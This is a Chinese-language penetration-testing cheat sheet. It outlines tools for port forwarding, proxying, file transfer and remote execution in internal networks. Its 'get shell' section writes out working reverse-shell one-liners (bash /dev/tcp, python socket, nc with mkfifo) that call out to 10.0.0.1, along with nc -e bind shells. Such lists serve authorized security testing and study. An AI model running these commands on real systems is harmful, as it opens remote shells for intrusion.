# 端口转发
-
windows
- lcx
- netsh
-
linux
- portmap
- iptables
-
socket 代理
- Win: xsocks
- Linux: proxychains
-
基于 http 的转发与 socket 代理 (低权限下的渗透)
- 端口转发: tunnasocks 代理: reGeorg
-
ssh 通道
- 端口转发 socks
# 获取 shell
- 常规 shell 反弹
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
- 突破防火墙的 imcp_shell 反弹
- 正向 shell
nc -e /bin/sh -lp 1234
nc.exe -e cmd.exe -lp 1234
# 内网文件传输
-
windows 下文件传输
- powershell
- vbs 脚本文件
- bitsadmin
- 文件共享
- 使用 telnet 接收数据
- hta
-
linux 下文件传输
- python
- wget
- tar + ssh
- 利用 dns 传输数据
-
文件编译
- powershell 将 exe 转为 txt,再 txt 转为 exe
# 远程连接 && 执行程序
- at&schtasks
- psexec
- wmic
- wmiexec.vbs
- smbexec
- powershell remoting
- SC 创建服务执行
- schtasks
- SMB+MOF || DLL Hijacks
- PTH + compmgmt.msc